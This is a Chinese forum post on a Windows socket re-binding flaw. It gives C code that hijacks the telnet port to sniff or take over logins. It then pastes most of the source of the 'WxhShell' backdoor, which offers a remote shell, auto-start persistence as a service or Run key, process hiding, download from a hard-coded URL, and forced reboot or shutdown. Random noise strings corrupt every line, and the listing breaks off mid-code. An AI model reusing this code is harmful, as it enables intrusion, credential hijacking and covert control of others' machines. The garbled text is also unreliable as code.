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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: abR<( H12  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); tJrGRlB>  
4=Ru{ewRV  
  saddr.sin_family = AF_INET; xL"J?Gy  
~44u_^a  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); az0=jou<Zl  
&zX  W  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); H/x0'  
x"e;T,c  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @qp6Y_,E[  
`v``}8tm  
  这意味着什么?意味着可以进行如下的攻击: 8VMA~7^  
r+E!V'{C  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |xFA}  
WF~BCP$OR  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) z}u`45W+  
w a(Y[]V  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ISs&1`Y  
S*h^7?Bu  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %"A8Af**I  
>,]a>V  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 N wk  
r*vh3.Agl  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 PKrG6% W+  
9u{[e"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @i>)x*I#AI  
BN CM{}e  
  #include '`k7l7I[@  
  #include 3Z9Yzv)A  
  #include 92<+ug=  
  #include    =+MF@ 4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   JP<j4/  
  int main() M1-tRF  
  { sPvs}}Z]P  
  WORD wVersionRequested; mB_?N $K  
  DWORD ret; pxTtV g.  
  WSADATA wsaData; ;QXg*GNAv$  
  BOOL val; :5%98V>02  
  SOCKADDR_IN saddr; #C&';HB;y  
  SOCKADDR_IN scaddr; s_NY#MPz[  
  int err; Q ^2dZXk~  
  SOCKET s; '2lzMc>wvP  
  SOCKET sc; 0<!9D):Bb  
  int caddsize; q& -mbWBj  
  HANDLE mt; M11\Di1  
  DWORD tid;   xn2nh@;  
  wVersionRequested = MAKEWORD( 2, 2 ); vkTu:3Qe  
  err = WSAStartup( wVersionRequested, &wsaData ); +a.2\Qt2A  
  if ( err != 0 ) { 2 {b/*w  
  printf("error!WSAStartup failed!\n"); =M;F&;\8  
  return -1; D r(0w{5  
  } u'l4=e  
  saddr.sin_family = AF_INET; SqPqL<,e  
   ?g+3 URpK  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 lOVcXAe}  
7gf(5p5ZV  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); q=88*Y  
  saddr.sin_port = htons(23); #ay/VlD@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NgyEy n \  
  { QvZ"{  
  printf("error!socket failed!\n"); erEB4q+ #O  
  return -1; #U`AK9rP_g  
  } '=E;^'Rl  
  val = TRUE; 3oLF^^^g  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .>R`#@+I  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) V0,JTWc  
  { TS6xF?  
  printf("error!setsockopt failed!\n"); ,M3hE/rb/  
  return -1; 3(V0,L'1  
  } qo3+=*"V  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _{k*JT2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >B0AJW/u  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 P".}Y[GD  
}qECpKa0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6}E>B{Y  
  { Nq`;\E.M  
  ret=GetLastError(); qG;tD>jy  
  printf("error!bind failed!\n"); 62R";# K  
  return -1; ,:(s=J N+  
  } N=1ue`i  
  listen(s,2); ZEI)U, I.  
  while(1) C5dM`_3L  
  { (7G4v  
  caddsize = sizeof(scaddr); E42)93~C  
  //接受连接请求 '/8/M{`s  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &!/>B .  
  if(sc!=INVALID_SOCKET) t~o"x.  
  { YgcW1}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); eWAD;x?.  
  if(mt==NULL) B=d< L^  
  { I+kAy;2  
  printf("Thread Creat Failed!\n"); S~aWun  
  break; K-k!':K:  
  } B3ItZojAuw  
  } V>QyiB  
  CloseHandle(mt); 9{;L7`<  
  } #8et91qw  
  closesocket(s); L/:l>Ko>7  
  WSACleanup(); }X{rE|@  
  return 0; doL-G?8B  
  }   5wVJ.B~s  
  DWORD WINAPI ClientThread(LPVOID lpParam) sF!#*Y  
  { AA=Ob$2$  
  SOCKET ss = (SOCKET)lpParam; i RrUIWx  
  SOCKET sc; vGv<WEE  
  unsigned char buf[4096]; gEk;Tj  
  SOCKADDR_IN saddr; c@[Trk m  
  long num; ?. ` ga*   
  DWORD val; G7&TMg7i  
  DWORD ret; DK?aFSf\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 M5WB.L[@ q  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2@tnOs(*  
  saddr.sin_family = AF_INET; 9k;,WU(K<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); aU(.LC  
  saddr.sin_port = htons(23); ?]D&D:Z?I  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <CuUwv 'A  
  { iUcX\ uW  
  printf("error!socket failed!\n"); ~4~r  
  return -1; iG54 +]  
  } KUU {X~w  
  val = 100; =OO4C  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DehjV6t  
  { ^~V2xCu!  
  ret = GetLastError(); Ds(Z.  
  return -1; KuJ9bn{u!C  
  } UPGUJ>2Z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) As46:<!2  
  { <w^u^)iLy1  
  ret = GetLastError(); -O$vJ,*  
  return -1; ;B 8Q,.t>x  
  } rn)Gx2 5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) VrRF2(Kn?  
  { zF`a:dD$d  
  printf("error!socket connect failed!\n"); 6Pl|FI JF  
  closesocket(sc); VVSt,/SO  
  closesocket(ss); flPS+  
  return -1; hYzP6?K"  
  } >Gpq{Ph[  
  while(1) x$-kw{N  
  { -/?)0E  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 gNW+Dq|X%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 q~9-A+n  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 kV1L.Xg  
  num = recv(ss,buf,4096,0); [voZ=+/  
  if(num>0) ~Fh+y+g?  
  send(sc,buf,num,0); +ytP5K7  
  else if(num==0) F62 uDyY  
  break; RWR{jM]V  
  num = recv(sc,buf,4096,0); :-jbIpj'  
  if(num>0) H14Q-2U1xa  
  send(ss,buf,num,0); OS#aYER~/  
  else if(num==0) >G|RVB  
  break; F6sQeU  
  } y\_+,G0  
  closesocket(ss); FcM)v"bF&]  
  closesocket(sc); =.8n K y  
  return 0 ; gra6&&^"  
  } bX2BEa8<"  
`D%i`"~Lf&  
I^A>YJW  
========================================================== m"~ddqSMT  
crv#IC2  
下边附上一个代码,,WXhSHELL .;7V]B1o  
TXi|  
========================================================== :7LA/j  
t>"`rcg  
#include "stdafx.h" 8/>.g.]  
i FZGfar?  
#include <stdio.h> gf>H-718F  
#include <string.h> 0+iRgnd9?  
#include <windows.h> _{'[Uf/l  
#include <winsock2.h> +m./RlQ{  
#include <winsvc.h> jz" >Kh.}  
#include <urlmon.h> ZS+m}.,whQ  
8i[TeW"  
#pragma comment (lib, "Ws2_32.lib") j.]]VA  
#pragma comment (lib, "urlmon.lib") P0m9($JBD  
%"r9;^bj&<  
#define MAX_USER   100 // 最大客户端连接数 lUjZ=3"'  
#define BUF_SOCK   200 // sock buffer _<f%== I'  
#define KEY_BUFF   255 // 输入 buffer _0$>LWO~  
GY?u+|Q  
#define REBOOT     0   // 重启 Brxnl,%\  
#define SHUTDOWN   1   // 关机 5!A:xV]6]  
4)e1K/PJ)  
#define DEF_PORT   5000 // 监听端口 Fb1<Ic#  
VX&g[5zr  
#define REG_LEN     16   // 注册表键长度 6Tmz!E0  
#define SVC_LEN     80   // NT服务名长度 9 RDs`>v  
?S& yF  
// 从dll定义API z&H.fsL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); By6O@ .\V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H,TApF89A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "=DQ {(L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WwsNAJ  
1f+A_k/@  
// wxhshell配置信息 ;O)*!yA(GG  
struct WSCFG { e^ N~)Nlj  
  int ws_port;         // 监听端口 kAp#6->(q  
  char ws_passstr[REG_LEN]; // 口令 v CsE|eMP  
  int ws_autoins;       // 安装标记, 1=yes 0=no xKE=$SV(  
  char ws_regname[REG_LEN]; // 注册表键名 !B Pm{_C  
  char ws_svcname[REG_LEN]; // 服务名 :2xGfy??  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O$,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X[h{g`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rrfJs  
int ws_downexe;       // 下载执行标记, 1=yes 0=no TY% c`Q5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g8E5"jpXx3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a^LckHPI>  
@#hQ0F8  
}; %'WC7s  
`scW.Vem  
// default Wxhshell configuration Vf:.C|Z  
struct WSCFG wscfg={DEF_PORT, 1p~ORQ  
    "xuhuanlingzhe", qnyacI  
    1, nmn/4>  
    "Wxhshell", 873 bg|^hs  
    "Wxhshell", OP+*%$wR  
            "WxhShell Service", %|x9C,0p#  
    "Wrsky Windows CmdShell Service", .BJoY <P*  
    "Please Input Your Password: ", JJ1>)S}X-  
  1, (L4llZ;q  
  "http://www.wrsky.com/wxhshell.exe", 6t7FklM%  
  "Wxhshell.exe" j.6!T'$|  
    }; ZFMO;'m&  
mg:kVS  
// 消息定义模块 O1jiD_Y!9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #m{(aa9;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C+t3a@&|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K?,? .!ev  
char *msg_ws_ext="\n\rExit."; 4r_*: $g  
char *msg_ws_end="\n\rQuit."; '2Zs15)V  
char *msg_ws_boot="\n\rReboot..."; nW]CA~  
char *msg_ws_poff="\n\rShutdown..."; y(<{e~  
char *msg_ws_down="\n\rSave to "; AVLY|79#  
>|RoLV  
char *msg_ws_err="\n\rErr!"; MzB.Vvsy%9  
char *msg_ws_ok="\n\rOK!"; <LH6my  
\YJQN3^46>  
char ExeFile[MAX_PATH]; &;?+ ^L>  
int nUser = 0; tH; 6 Mp;f  
HANDLE handles[MAX_USER]; 8aHE=x/TL  
int OsIsNt; >!Y#2]@}o  
^7>~y(  
SERVICE_STATUS       serviceStatus; 5q@s6_"{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 00IW9B-  
PdVY tK%  
// 函数声明 f%n ;Z}=  
int Install(void); ;\}d QsX  
int Uninstall(void); }>AA[ba"'  
int DownloadFile(char *sURL, SOCKET wsh); |8{ k,!P'K  
int Boot(int flag); v(0ujfSR0  
void HideProc(void); au19Q*r9  
int GetOsVer(void); cg^~P-i@*  
int Wxhshell(SOCKET wsl); "4xo,JUf  
void TalkWithClient(void *cs); #\N8E-d  
int CmdShell(SOCKET sock); /zh:7N  
int StartFromService(void); 1O,5bi>t7  
int StartWxhshell(LPSTR lpCmdLine); 4E=QO!pVv  
v B~VJKD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !oi {8X@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9ec?L  
ye(av&Hn  
// 数据结构和表定义 %VB4/~ "  
SERVICE_TABLE_ENTRY DispatchTable[] = Ys_L GfK  
{ ;~r-P$kCY  
{wscfg.ws_svcname, NTServiceMain}, 4sSw7`  
{NULL, NULL} m["e7>9G  
}; \c{sG\ >  
a5m[ N'kah  
// 自我安装 ~Fo2MwE2~  
int Install(void) id+EBVHAd  
{ :I /9j=@1  
  char svExeFile[MAX_PATH]; \kKd:C{  
  HKEY key; wbr$w>n  
  strcpy(svExeFile,ExeFile); V%;dTCq  
R f)|p;  
// 如果是win9x系统,修改注册表设为自启动 Ok)f5")N %  
if(!OsIsNt) { /ho7~C+H*e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J"h2"$v,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7g Ou|t  
  RegCloseKey(key); 1Hhr6T^)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uj\&-9gEi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4VvE(f  
  RegCloseKey(key); Y5ei:r|^  
  return 0; 4gEw }WiP  
    } hFtjw6  
  } T1RY1hb|g>  
} 9MJ:]F5+  
else { h8M_Uk  
9 4bDJy1  
// 如果是NT以上系统,安装为系统服务 1NZpd'$c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mHW%^R=  
if (schSCManager!=0) x]hG2on!  
{ v; ewMiK@E  
  SC_HANDLE schService = CreateService qmPu D/ c  
  ( )gU:Up24|"  
  schSCManager,  )bYOy+2g  
  wscfg.ws_svcname, SJc*Rl>  
  wscfg.ws_svcdisp, fUis_?!  
  SERVICE_ALL_ACCESS, =Gj~:|;$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , CU c,  
  SERVICE_AUTO_START, -/B*\X[  
  SERVICE_ERROR_NORMAL, &)Zv>P8z`  
  svExeFile, 6^jrv [d  
  NULL, ;D-k\kv  
  NULL, Omn $O>  
  NULL, 3HR)H-@6@7  
  NULL, +3AX1o%p,#  
  NULL QTF1~A\  
  ); HnFH|H<Uf  
  if (schService!=0) QA~F  
  { L{;Q6_m  
  CloseServiceHandle(schService); Z s| *+[  
  CloseServiceHandle(schSCManager); (I;81h`1G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QCDica `+*  
  strcat(svExeFile,wscfg.ws_svcname);   h)W#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o[JZ>nm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O 1X)  
  RegCloseKey(key); FncP,F$8   
  return 0; wj'fdrY5h  
    } X-bM`7'H  
  } L`O7-'`  
  CloseServiceHandle(schSCManager); #/9Y}2G|]  
} ? YIe<  
} F3q<j$y  
fpZHE=}r  
return 1; A=ez,87  
} RxV " ,  
w .M  
// 自我卸载 i*4v!(E  
int Uninstall(void) hWn-[w/l_  
{ \%]lsml  
  HKEY key; S}Z@g  
6v}q @z  
if(!OsIsNt) { T8*;?j*@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X?u=R)uG  
  RegDeleteValue(key,wscfg.ws_regname); xr Ne:Aj  
  RegCloseKey(key); &F;bg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wUg=j nY   
  RegDeleteValue(key,wscfg.ws_regname); jC>mDnX  
  RegCloseKey(key); U"UsQYa_  
  return 0; e<A>??h^  
  } }43qpJe8U  
} vz:VegS  
} MR@Qn[RdM  
else { 0[uOKFgE  
G:|]w,^i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8W Qc8  
if (schSCManager!=0) /-^{$$eu  
{ XMI5j7C L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RMs8aZCa  
  if (schService!=0) KdTWi;mV2-  
  { l]R7A_|  
  if(DeleteService(schService)!=0) { ]H`pM9rC  
  CloseServiceHandle(schService); w!d(NA<|0]  
  CloseServiceHandle(schSCManager); !w!k0z]  
  return 0; nemC-4}  
  } A3q#,%  
  CloseServiceHandle(schService); ?caHS2%?ae  
  } ?%Q=l;W.  
  CloseServiceHandle(schSCManager); s nNd7v.U6  
} 3:sx%Ci/2  
} @b5$WKPX  
Y@Ry oJ  
return 1; t!FC)iY  
} ;3Z?MQe"NQ  
^x( s !4d]  
// 从指定url下载文件 I&^hG\D  
int DownloadFile(char *sURL, SOCKET wsh) W^;4t3eQf  
{ X*Q<REDB  
  HRESULT hr; u Vv %k5  
char seps[]= "/"; G_k_qP^:  
char *token; z -]ND  
char *file; hVZS6gU,x  
char myURL[MAX_PATH]; 7a/ BS(kq<  
char myFILE[MAX_PATH]; nI73E  
r4?|sAK  
strcpy(myURL,sURL); pma=*  
  token=strtok(myURL,seps); R$eEW"]  
  while(token!=NULL) 7coVl$_Zl  
  { zqXDD; w3  
    file=token; r#}o +3*  
  token=strtok(NULL,seps); HYJEz2RF  
  } O ~[[JAi[  
_3g!_  
GetCurrentDirectory(MAX_PATH,myFILE); "-IF_Hid  
strcat(myFILE, "\\"); 7#N= GN  
strcat(myFILE, file); OSJj^Y)W|  
  send(wsh,myFILE,strlen(myFILE),0); AOqL&z  
send(wsh,"...",3,0); fCO<-L9k$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5@W63!N  
  if(hr==S_OK) @6;ZP1  
return 0; 0uGTc[^^M  
else cp`ZeLz2^  
return 1; $(yi+v  
rNke&z:%X_  
} @!!5el {  
\m<$qp,n  
// 系统电源模块 ?jbx7')  
int Boot(int flag) `lbRy($L  
{ %w!x \UV  
  HANDLE hToken; G8Ow;:Ro  
  TOKEN_PRIVILEGES tkp; ':=20V  
m.5@q mQ  
  if(OsIsNt) { [*H h6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g\49[U}[~F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SHnMqaq  
    tkp.PrivilegeCount = 1;  z_(4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >@-BZJg/k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  z' 5  
if(flag==REBOOT) { ?cK67|%W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }_+):<Db  
  return 0; ij}{H#0S-  
} {"N:2  
else { j97K\]tQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yZmeke)_  
  return 0; =""5 c  
} je>mAQKi\  
  } p~-)6)We?  
  else { QZL,zI]LL  
if(flag==REBOOT) { j0=H6Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9`&sZ|"3  
  return 0; "SC]G22  
} 1 :{+{Yl7  
else { ZlQ&m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jS#YqVuN  
  return 0; bc& 5*?  
} aCfWbJ@qiG  
} M~9IL\J^G  
?'tFTh  
return 1; zP$"6~.  
} vXak5iq>X  
{s2eOL5I|%  
// win9x进程隐藏模块 I3ugBLxVC3  
void HideProc(void) iqWkhJphv  
{ !|J2o8g  
J!QIMA4{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vcP_gJz  
  if ( hKernel != NULL ) 7VLn$q]:  
  { c'bh`H4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R0GD9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); '^'PdB  
    FreeLibrary(hKernel); ?uF3Q)rCk  
  } R@IwmJxX  
Iqj?wI 1)  
return; @k-GyV-v  
} ,K.Wni#m  
,GtN6?  
// 获取操作系统版本 JUq7R%"h6  
int GetOsVer(void) J8&0l&~ 6  
{ &~=d;llkT  
  OSVERSIONINFO winfo; LO%OH u}]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _akpW  
  GetVersionEx(&winfo); m9ky?A,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PoRP]Q*n  
  return 1; 4`?WdCW8  
  else @~i : 8  
  return 0; +a+DiD>./  
} v#5hK<9  
8'Q&FW3"  
// 客户端句柄模块 ji5Nq+S2  
int Wxhshell(SOCKET wsl) Q_k'7Z\g$  
{ Z v 7}C  
  SOCKET wsh; ]-OF3+l4  
  struct sockaddr_in client; zpcO7AY~  
  DWORD myID; @|d`n\%x  
fV!~SX6S  
  while(nUser<MAX_USER) H00iy$R  
{ - G=doP0  
  int nSize=sizeof(client); 7Ewq'Vu`y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *M6j)jqV  
  if(wsh==INVALID_SOCKET) return 1; D@ BP<   
i\ )$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b,#?LdQ%  
if(handles[nUser]==0) ~#=70  
  closesocket(wsh); Ece=loV*l  
else hz-^9U  
  nUser++; U@LIw6B!KL  
  } }l5Q0'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 87R$Y> V  
=o[H2o y  
  return 0; {t('`z  
} oe=W}y_k  
VexQ ]  
// 关闭 socket uLt31G()  
void CloseIt(SOCKET wsh) -]:1zU  
{ r <2&_$|  
closesocket(wsh); ]OC?g2&6  
nUser--; E/C3t2@-  
ExitThread(0); \"+}-!wr  
} 07vzVsQ}p  
YG#{/;^nm)  
// 客户端请求句柄 Mw6 Mt  
void TalkWithClient(void *cs) af=lzKt*  
{ |u[@g`Z  
6PLdzZ{  
  SOCKET wsh=(SOCKET)cs; 6+SaO !lR  
  char pwd[SVC_LEN]; g:&PjKA  
  char cmd[KEY_BUFF]; Gr~J-#a3~D  
char chr[1]; fs, >X!l+  
int i,j; zy8D&7Ytf  
EV R>R  
  while (nUser < MAX_USER) { uAV-wc  
D!V*H?;U  
if(wscfg.ws_passstr) { pH396GFIW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4B Jw+EV8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V"A* B  
  //ZeroMemory(pwd,KEY_BUFF); #ahe@|E'Y  
      i=0; z+j3j2  
  while(i<SVC_LEN) { 7C~g?1  
4`:Eiik&p  
  // 设置超时 #D%l;Ae  
  fd_set FdRead; is{H >#+"  
  struct timeval TimeOut; YF)c.Q0  
  FD_ZERO(&FdRead); oox;8d4}y  
  FD_SET(wsh,&FdRead); ezhK[/E=  
  TimeOut.tv_sec=8; LP}'upv  
  TimeOut.tv_usec=0; ({h W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ka8Bed3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KY9@2JG  
&hIr@Gi@ch  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -8sB\E  
  pwd=chr[0]; gzp]hh@4  
  if(chr[0]==0xd || chr[0]==0xa) { if+97^Oy  
  pwd=0; b2hXFwPe  
  break; lkb,UL;V  
  } h?vt6t9  
  i++; FivqyT7i  
    } |p*s:*TJp  
X>eFGCz}I  
  // 如果是非法用户,关闭 socket ]mx1djNA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Gyy?cn6_  
} Yo,n#<37  
h:r:qk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P A$jR fQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kp,$ NfD  
b25C[C5C  
while(1) { ynZfO2kf  
W<Asr@  
  ZeroMemory(cmd,KEY_BUFF); +wm%`N;v<  
y~py+:_  
      // 自动支持客户端 telnet标准   ]J.|XRp/  
  j=0; $6/CTQ  
  while(j<KEY_BUFF) { k1HCPj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *;~i\M9_  
  cmd[j]=chr[0]; 3d(:Y6D)  
  if(chr[0]==0xa || chr[0]==0xd) { o3oTu  
  cmd[j]=0; 'H'R6<z5  
  break; 32K  
  } 9@ :QBe3]  
  j++; F7JF1HfCP  
    } Ji0FHa_  
u9R@rQ9r  
  // 下载文件 KH9D},  
  if(strstr(cmd,"http://")) { =L, 7~9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )_1;mc8B  
  if(DownloadFile(cmd,wsh)) +.66Ky`|[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %kV #UzL  
  else 4X$|jGQ\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); = Tq\Ag:  
  } GNoUn7Y  
  else { u X+ YH  
8]l(D  
    switch(cmd[0]) { \s,~|0_V  
  v=E(U4v9e  
  // 帮助 7K /quJ  
  case '?': { c{})Z=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hfRxZ>O2  
    break; 0!q@b  
  } i: VMC NH  
  // 安装 IkgRZ{Y  
  case 'i': { x\K,@  
    if(Install()) |6b&khAM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dg@'5.ApPu  
    else Ypx"<CKP}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4.q^r]m*  
    break; *+j r? |  
    } MD[;Ha  
  // 卸载 ;AJ6I*O@+  
  case 'r': { hWRr#030  
    if(Uninstall()) Tvd: P^ C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {z |+ .D  
    else (E7C9U*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sQMfU{S /  
    break; @8 lT*O2j  
    } yG,uD!N]|  
  // 显示 wxhshell 所在路径 F<Ig(Wl#az  
  case 'p': { F_nXsKem  
    char svExeFile[MAX_PATH]; y*#+:D]o*  
    strcpy(svExeFile,"\n\r"); 1n~^@f#`  
      strcat(svExeFile,ExeFile); #:tC^7qk  
        send(wsh,svExeFile,strlen(svExeFile),0); y`8jz,&.  
    break; m tVoA8(6  
    } h<bCm`qj  
  // 重启 WUGFo$ xA  
  case 'b': { %8?XOkH)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F+ <Z%KuCu  
    if(Boot(REBOOT)) > QG@P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pLtK:Z  
    else { O-qpB;|  
    closesocket(wsh); P5&8^YV`N  
    ExitThread(0); nt*K@  
    } `a9iq>   
    break; il$eO 7  
    } |P7FPmn  
  // 关机 =JN{j2xY  
  case 'd': { %;b]k  
